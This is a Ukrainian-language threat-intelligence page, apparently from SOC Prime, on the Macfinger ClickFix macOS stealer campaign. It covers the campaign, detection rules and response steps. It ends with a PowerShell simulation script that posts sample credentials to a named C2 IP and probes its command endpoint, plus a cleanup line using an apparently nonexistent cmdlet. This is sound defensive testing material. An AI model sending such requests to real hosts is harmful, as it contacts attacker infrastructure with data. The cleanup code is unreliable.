SOC Prime Bias: High

28 Sep 2026 14:47 UTC

Кампанія Macfinger ClickFix: Аналіз шкідливого ПЗ

Author Photo
SOC Prime Team linkedin icon Стежити
Кампанія Macfinger ClickFix: Аналіз шкідливого ПЗ
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Кампанія Macfinger ClickFix доставляє невідомий інформаційний крадій для macOS через сторінки з фальшивими CAPTCHA перевірками. Атака використовує shell-скрипти для отримання архітектурно-специфічних Mach-O бінарних файлів для систем Intel або Apple Silicon. Після запуску зловмисне ПЗ запитує широкі системні дозволи та викрадає конфіденційну інформацію через HTTP POST запити та WebSocket-комунікацію.

Розслідування

Розслідування було зосереджено на зараженні, виявленому на хості macOS 27.0. Аналітики відстежили початкове завантаження shell-скрипту, подальше отримання Mach-O бінарних файлів і схеми команд і контролю зловмисного ПЗ. Дослідження також відокремило загрозу від раніше документованого AMOS Stealer на основі розбіжностей у персистенції, збору даних і поведінці викрадання.

Пом’якшення

Користувачам слід уникати взаємодії з підозрілими CAPTCHA запитами в браузері або виконання неочікуваних команд термінала, наданих веб-сайтами. Організаціям потрібно стежити за несанкціонованими змінами в LaunchAgents та підозрілими завантаженнями, записаними в /Library/Caches каталог. Обмеження адміністративних привілеїв також може зменшити здатність зловмисного ПЗ отримувати необхідні системні дозволи для виконання.

Реакція

Коли виявляється активність, пов’язана з Macfinger, слід ізолювати уражену кінцеву точку macOS від мережі, щоб запобігти подальшому викраденню даних. Проведіть судово-медичний аналіз /Library/LaunchAgents/ and /Library/Caches/ каталогів для виявлення артефактів персистенції. Перегляньте журнали системи для несанкціонованих запитів на дозволи та доступу до конфіденційних розташувань, таких як Documents, Desktop і Downloads.

Напрямок атаки

Виявлення

Підозріла команда і контроль через DNS-запит з незвичним доменом верхнього рівня (TLD) (via dns)

Команда SOC Prime
28 Вер 2026

Можливі маніпуляції з рядками, закодованими у Base64 [MacOS] (через cmdline)

Команда SOC Prime
25 Вер 2026

Спроба підозрілого виконання Curl [MacOS] (через cmdline)

Команда SOC Prime
25 Вер 2026

IOC (HashSha256) для виявлення: Докладний погляд на шкідливе ПЗ з кампанії Macfinger ClickFix

Правила SOC Prime AI
25 Вер 2026

IOC (SourceIP) для виявлення: Докладний погляд на шкідливе ПЗ з кампанії Macfinger ClickFix

Правила SOC Prime AI
25 Вер 2026

IOC (DestinationIP) для виявлення: Докладний погляд на шкідливе ПЗ з кампанії Macfinger ClickFix

Правила SOC Prime AI
25 Вер 2026

Виявлення трафіку Macfinger ClickFix C2 та ексфільтрація даних [HTTP Traffic]

Правила SOC Prime AI
25 Вер 2026

Виявлення зараження кампанією Macfinger ClickFix [Створення процесу в macOS]

Правила SOC Prime AI
25 Вер 2026

Виконання симуляції

  • Опис атаки & Команди: Зловмиснику вдалося отримати початковий доступ і він намагається викрасти зібрані облікові дані. Щоб уникнути виявлення стандартними веб-фільтрами, вони використовують агент на базі Go. Агент налаштований на відправку POST-запиту з обліковими даними користувача до C2-кінечної точки /api/credentials. Після цього він встановлює підключення WebSocket до /api/t для отримання подальших інструкцій. Симуляція використовуватиме PowerShell для підробки цих специфічних характеристик HTTP (IP, User-Agent та URI) для активації правила виявлення.

  • Скрипт регресійного тесту:

    # Симуляція трафіку Macfinger C2
    $C2_IP = "95.163.153.80"
    $UserAgent = "Go-http-client/1.1"
    
    Write-Host "[+] Розпочинаємо симуляцію Macfinger..." -ForegroundColor Cyan
    
    # 1. Симуляція ексфільтрації даних через HTTP POST
    Write-Host "[+] Спроба ексфільтрації даних (POST /api/credentials)..." -ForegroundColor Yellow
    try {
        $exfilParams = @{
            Uri         = "http://$($C2_IP)/api/credentials"
            Method      = "POST"
            UserAgent   = $UserAgent
            Body        = "user=admin&pass=P@ssword123"
            ContentType = "application/x-www-form-urlencoded"
        }
        Invoke-RestMethod @exfilParams
    } catch {
        Write-Host "[-] Запит не вдався (очікуване, якщо IP недосяжний): $($_.Exception.Message)" -ForegroundColor Gray
    }
    
    # 2. Симуляція команди і контролю через WebSocket (моделюється через HTTP GET до специфічного URI)
    # Примітка: Справжні WebSocket рукостискання вимагають специфічних бібліотек, але для телеметрії мереж
    # першочерговим тригером є початковий GET-запит до URI.
    Write-Host "[+] Спроба рукостискання WebSocket (GET /api/t)..." -ForegroundColor Yellow
    try {
        $wsParams = @{
            Uri         = "http://$($C2_IP)/api/t"
            Method      = "GET"
            UserAgent   = $UserAgent
        }
        Invoke-RestMethod @wsParams
    } catch {
        Write-Host "[-] Запит не вдався (очікуване, якщо IP недосяжний): $($_.Exception.Message)" -ForegroundColor Gray
    }
    
    Write-Host "[+] Симуляцію завершено." -ForegroundColor Cyan
  • Команди прибирання:

    # Цей скрипт симуляції не створює стійких артефактів.
    # Переконайтесь, що жодні активні з'єднання з цільовим IP не лишаються.
    Get-NetTCPConnection -RemoteAddress 95.163.153.80 -ErrorAction SilentlyContinue | Remove-NetTCPConnection -Confirm:$false